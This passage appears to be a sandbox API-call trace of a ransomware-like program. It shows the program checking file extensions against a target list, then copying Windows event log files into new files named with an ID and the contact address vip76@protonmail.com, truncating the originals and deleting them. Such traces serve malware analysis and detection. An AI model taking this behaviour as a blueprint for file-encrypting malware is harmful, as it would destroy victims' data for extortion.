	[0074.683] lstrlenW (lpString=".xlsx") returned 5
	[0074.684] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.684] lstrlenW (lpString=".ppt") returned 4
	[0074.684] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.684] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0074.684] lstrlenW (lpString=".zip") returned 4
	[0074.684] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.684] lstrlenW (lpString=".rar") returned 4
	[0074.684] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.684] lstrlenW (lpString=".bz2") returned 4
	[0074.684] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.684] lstrlenW (lpString=".7z") returned 3
	[0074.684] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.684] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0074.684] lstrlenW (lpString=".dbf") returned 4
	[0074.684] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.684] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0074.684] lstrlenW (lpString=".1cd") returned 4
	[0074.684] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.684] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0074.684] lstrlenW (lpString=".jpg") returned 4
	[0074.684] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.684] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0074.685] lstrlenW (lpString="Microsoft-Windows-International%4Operational.evtx") returned 49
	[0074.685] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0074.691] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0074.691] CloseHandle (hObject=0x394) returned 1
	[0074.692] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20
	[0074.692] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.692] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0074.692] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.692] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.692] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0074.692] GetLastError () returned 0x0
	[0074.692] ReadFile (in: hFile=0x394, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0074.701] WriteFile (in: hFile=0x384, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0074.703] ReadFile (in: hFile=0x394, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.703] WriteFile (in: hFile=0x384, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x136, lpOverlapped=0x0) returned 1
	[0074.703] SetEndOfFile (hFile=0x384) returned 1
	[0074.703] CloseHandle (hObject=0x384) returned 1
	[0074.706] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.706] SetEndOfFile (hFile=0x394) returned 1
	[0074.707] CloseHandle (hObject=0x394) returned 1
	[0074.708] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0074.708] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 1
	[0074.708] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0074.708] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0074.708] lstrlenW (lpString=".doc") returned 4
	[0074.708] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.708] lstrlenW (lpString=".docx") returned 5
	[0074.708] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.708] lstrlenW (lpString=".pdf") returned 4
	[0074.708] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.708] lstrlenW (lpString=".xls") returned 4
	[0074.709] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.709] lstrlenW (lpString=".xlsx") returned 5
	[0074.709] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.709] lstrlenW (lpString=".ppt") returned 4
	[0074.709] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.709] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0074.709] lstrlenW (lpString=".zip") returned 4
	[0074.709] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.709] lstrlenW (lpString=".rar") returned 4
	[0074.709] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.709] lstrlenW (lpString=".bz2") returned 4
	[0074.709] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.709] lstrlenW (lpString=".7z") returned 3
	[0074.709] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.709] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0074.709] lstrlenW (lpString=".dbf") returned 4
	[0074.709] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.709] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0074.709] lstrlenW (lpString=".1cd") returned 4
	[0074.709] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.709] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0074.709] lstrlenW (lpString=".jpg") returned 4
	[0074.709] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.709] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0074.709] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0074.709] lstrlenW (lpString=".doc") returned 4
	[0074.710] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.710] lstrlenW (lpString=".docx") returned 5
	[0074.710] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.710] lstrlenW (lpString=".pdf") returned 4
	[0074.710] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.710] lstrlenW (lpString=".xls") returned 4
	[0074.710] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.710] lstrlenW (lpString=".xlsx") returned 5
	[0074.710] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.710] lstrlenW (lpString=".ppt") returned 4
	[0074.710] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.710] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0074.710] lstrlenW (lpString=".zip") returned 4
	[0074.710] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.710] lstrlenW (lpString=".rar") returned 4
	[0074.710] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.710] lstrlenW (lpString=".bz2") returned 4
	[0074.710] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.710] lstrlenW (lpString=".7z") returned 3
	[0074.710] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.710] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0074.710] lstrlenW (lpString=".dbf") returned 4
	[0074.710] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.710] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0074.710] lstrlenW (lpString=".1cd") returned 4
	[0074.710] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.710] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0074.711] lstrlenW (lpString=".jpg") returned 4
	[0074.711] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.711] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0074.711] lstrlenW (lpString="Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 47
	[0074.711] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0074.711] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0074.711] CloseHandle (hObject=0x394) returned 1
	[0074.711] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20
	[0074.711] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.712] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0074.712] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.712] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.712] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0074.712] GetLastError () returned 0x0
	[0074.712] ReadFile (in: hFile=0x394, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0075.062] WriteFile (in: hFile=0x384, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0075.065] ReadFile (in: hFile=0x394, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.065] WriteFile (in: hFile=0x384, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x132, lpOverlapped=0x0) returned 1
	[0075.065] SetEndOfFile (hFile=0x384) returned 1
	[0075.065] CloseHandle (hObject=0x384) returned 1
	[0075.068] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.068] SetEndOfFile (hFile=0x394) returned 1
	[0075.069] CloseHandle (hObject=0x394) returned 1
	[0075.069] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0075.070] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 1
	[0075.129] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0075.129] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0075.129] lstrlenW (lpString=".doc") returned 4
	[0075.129] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.129] lstrlenW (lpString=".docx") returned 5
	[0075.129] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.129] lstrlenW (lpString=".pdf") returned 4
	[0075.129] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.129] lstrlenW (lpString=".xls") returned 4
	[0075.129] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.129] lstrlenW (lpString=".xlsx") returned 5
	[0075.129] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.129] lstrlenW (lpString=".ppt") returned 4
	[0075.129] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.129] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0075.129] lstrlenW (lpString=".zip") returned 4
	[0075.129] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.130] lstrlenW (lpString=".rar") returned 4
	[0075.130] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.130] lstrlenW (lpString=".bz2") returned 4
	[0075.130] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.130] lstrlenW (lpString=".7z") returned 3
	[0075.130] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0075.130] lstrlenW (lpString=".dbf") returned 4
	[0075.130] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0075.130] lstrlenW (lpString=".1cd") returned 4
	[0075.130] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0075.130] lstrlenW (lpString=".jpg") returned 4
	[0075.130] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0075.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0075.130] lstrlenW (lpString=".doc") returned 4
	[0075.130] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.130] lstrlenW (lpString=".docx") returned 5
	[0075.130] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.130] lstrlenW (lpString=".pdf") returned 4
	[0075.130] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.130] lstrlenW (lpString=".xls") returned 4
	[0075.130] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.131] lstrlenW (lpString=".xlsx") returned 5
	[0075.131] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.131] lstrlenW (lpString=".ppt") returned 4
	[0075.131] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0075.131] lstrlenW (lpString=".zip") returned 4
	[0075.131] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.131] lstrlenW (lpString=".rar") returned 4
	[0075.131] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.131] lstrlenW (lpString=".bz2") returned 4
	[0075.131] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.131] lstrlenW (lpString=".7z") returned 3
	[0075.131] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0075.131] lstrlenW (lpString=".dbf") returned 4
	[0075.131] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0075.131] lstrlenW (lpString=".1cd") returned 4
	[0075.131] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0075.131] lstrlenW (lpString=".jpg") returned 4
	[0075.131] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.132] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0075.132] lstrlenW (lpString="Microsoft-Windows-Known Folders API Service.evtx") returned 48
	[0075.132] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.362] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0075.370] CloseHandle (hObject=0x370) returned 1
	[0075.371] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20
	[0075.371] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.371] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.371] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.371] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.371] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0075.829] GetLastError () returned 0x0
	[0075.829] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0075.832] WriteFile (in: hFile=0x390, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0075.834] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.835] WriteFile (in: hFile=0x390, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x134, lpOverlapped=0x0) returned 1
	[0075.835] SetEndOfFile (hFile=0x390) returned 1
	[0075.835] CloseHandle (hObject=0x390) returned 1
	[0075.837] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.837] SetEndOfFile (hFile=0x370) returned 1
	[0075.838] CloseHandle (hObject=0x370) returned 1
	[0075.839] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0075.839] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 1
	[0075.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0075.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0075.841] lstrlenW (lpString=".doc") returned 4
	[0075.841] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.841] lstrlenW (lpString=".docx") returned 5
	[0075.841] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.841] lstrlenW (lpString=".pdf") returned 4
	[0075.841] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.841] lstrlenW (lpString=".xls") returned 4
	[0075.841] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.841] lstrlenW (lpString=".xlsx") returned 5
	[0075.841] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.841] lstrlenW (lpString=".ppt") returned 4
	[0075.841] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0075.841] lstrlenW (lpString=".zip") returned 4
	[0075.841] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.841] lstrlenW (lpString=".rar") returned 4
	[0075.841] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.841] lstrlenW (lpString=".bz2") returned 4
	[0075.841] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.841] lstrlenW (lpString=".7z") returned 3
	[0075.841] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0075.841] lstrlenW (lpString=".dbf") returned 4
	[0075.841] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0075.842] lstrlenW (lpString=".1cd") returned 4
	[0075.842] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.842] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0075.842] lstrlenW (lpString=".jpg") returned 4
	[0075.842] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.842] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0075.842] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0075.842] lstrlenW (lpString=".doc") returned 4
	[0075.842] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.842] lstrlenW (lpString=".docx") returned 5
	[0075.842] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.842] lstrlenW (lpString=".pdf") returned 4
	[0075.842] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.842] lstrlenW (lpString=".xls") returned 4
	[0075.842] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.842] lstrlenW (lpString=".xlsx") returned 5
	[0075.842] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.842] lstrlenW (lpString=".ppt") returned 4
	[0075.842] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.842] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0075.842] lstrlenW (lpString=".zip") returned 4
	[0075.842] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.842] lstrlenW (lpString=".rar") returned 4
	[0075.842] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.842] lstrlenW (lpString=".bz2") returned 4
	[0075.842] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.842] lstrlenW (lpString=".7z") returned 3
	[0075.842] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.842] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0075.842] lstrlenW (lpString=".dbf") returned 4
	[0075.842] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.842] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0075.842] lstrlenW (lpString=".1cd") returned 4
	[0075.843] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.843] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0075.843] lstrlenW (lpString=".jpg") returned 4
	[0075.843] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.843] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0075.843] lstrlenW (lpString="Microsoft-Windows-MUI%4Operational.evtx") returned 39
